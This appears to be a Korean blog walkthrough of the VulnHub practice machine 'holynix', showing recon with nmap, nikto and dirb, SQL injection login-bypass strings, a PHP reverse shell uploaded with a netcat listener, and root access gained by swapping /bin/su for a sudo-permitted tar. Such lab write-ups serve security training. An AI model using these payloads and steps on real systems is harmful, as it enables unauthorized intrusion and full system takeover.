■ holynix 환경 실습
□ 실습 환경
- VMware로 구성
- Kali Linux[설치 경로 : https://www.kali.org/get-kali/#kali-virtual-machines]
- holynix[설치 경로 : https://www.vulnhub.com/entry/holynix-v1,20/]
□ 진행 절차
Reconnaissance(정찰)
Step 1. holynix 환경 VMware에서 부팅 시, login 페이지가 뜨나 계정 정보를 알고 있지 않음
해당 서버에 취약점을 이용하여 계정 정보를 몰라도 권한 탈취가 목표
Step 2. 해당 서버 IP정보를 획득하기 위하여 Kali Linux를 활성화 후, 같은 네트워크 IP 대역 정보를 획득
Kali Linux와 holynix를 VMware에서 NAT로 같은 네트워크로 설정 필요
VMware에서는 x.x.x.[1,2,254]는 예약된 IP로 해당 IP 이외에 탐지된 IP 확인 필요
명령어 |
root@kali#arp-scan –I eth0 -l |
Step 3. 해당 서버 Open된 포트 및 설정 정보들을 확인하기 위하여 NMAP을 사용하여 정보 수집
Open된 포트 : HTTP(80/TCP)
NMAP을 통해 발견한 사실 : Open된 포트가 HTTP 밖에 없어 HTTP에 취약한 설정이 있는지 확인 필요
명령어 |
root@kali#nmap –sV —script=vuln [점검할 IP] |
Step 4. 더 자세한 정보를 알기 위해 nikto를 사용해 조회해본 결과, 디렉토리 리스팅 이외에 취약점이 발견된 것이 없어 HTTP로 접근 시 로그인 페이지 확인. 로그인 페이지에 SQL Injection을 통해 관리자 계정 탈취 시도를 할 수 있을 것으로 추측
명령어 |
root@kali#nikto –h http://[점검할 IP] |
Execution(실행)
Step 5. ID/PW에 싱글쿼터(‘) 입력 시 오류 페이지 뜨는 것으로 확인하여, SQL 조건문을 항상 참으로 하는 form based SQL Injection 시도 시 정상적으로 로그인 확인
입력 값 |
ID/PW : ‘ / ’ |
ID/PW : ‘ or ’1’=’1 # / ‘ or ’1’=’1 # |
Step 6. 시스템 루트 권한을 얻기 위한 수단인 웹쉘 업로드가 가능한지 여부를 체크하기 위해 테스트 파일 업로드 시도 시, 업로드 권한이 없어 파일 업로드가 불가능한 것을 확인
Step 7. 다른 계정으로 접근을 하기 위하여 alamo가 아닌 다른 계정으로 접근하는 쿼리 입력 시 정상적으로 로그인 확인
입력 값 |
ID/PW : 1 / ‘ or 1 = 1 and username != ‘alamo’# |
Step 8. 해당 계정으로 파일 업로드 시 정상적으로 업로드 되는 것을 확인하여, 칼리 리눅스에서 보유하고 있는 리버스 쉘 스크립트에서 IP/Port를 수정 후 업로드 시 정상적으로 업로드 확인
명령어 |
root@kali#cp /usr/share/webshells/php/php-reverse-shell.php ./ |
root@kali#mousepad php-reverse-shell.php |
root@kali#tar czf shell.tar.gz php-reverse-shell.php |
root@kali#nc –lvnp 1234 |
Step 9. dirb를 통해 디렉토리 인덱싱 취약점이 있는 것으로 확인되어, URL에 ‘~[ID값]’를 입력하면 리버스 쉘을 설치한 경로가 나오며, 클릭 시 리버스 커넥션이 맺어짐을 확인
명령어 |
root@kali#dirb http://[점검할 IP] |
Privilege Escalation(권한 상승)
Step 10. 권한 상승을 위하여 ‘sudo –l’ 명령어를 통해 사용자(www-data)가 몇 개의 sudo 명령어를 수행하는지 확인 후 리눅스가 sudo 명령어를 검증하지 않고 경로로 인식하는 취약점을 이용하여 권한 탈취 성공
sudo를 이용한 권한 상승 : 'sudo'는 루트 계정 권한으로 입력한 명령어를 실행하는 리눅스 명령어로, 일반적으로 root 계정의 패스워드 입력해야 사용이 가능하지만, 관리자 또는 사용자의 편의를 위하여 'sudo' 명령어를 패스워드 없이 사용할 수 있도록 설정할 경우, 명령어를 검증하는 것이 아닌 경로로 인식하는 취약점이 존재하여 계정 접근 명령어 'su'를 옮기면 루트 패스워드 입력 없이 root 계정 탈취가 가능
명령어 |
$ sudo mv /bin/tar /bin.tar.org |
$ sudo mv /bin/su /bin/tar |
$ sudo tar |
python –c ‘import pty;pty.spawn(“/bin/bash”)’ |
'vulnhub' 카테고리의 다른 글
Vulnhub [Moriarty Corp] (1) | 2023.10.17 |
---|---|
vulnhub[hackable3 환경 실습] (0) | 2023.08.16 |
Vulnhub[Kioptix Level1] (0) | 2023.08.16 |
Vulnhub[Win7 환경 실습] (0) | 2023.08.16 |
Vulnhub[BTRsys 환경 실습] (0) | 2023.08.14 |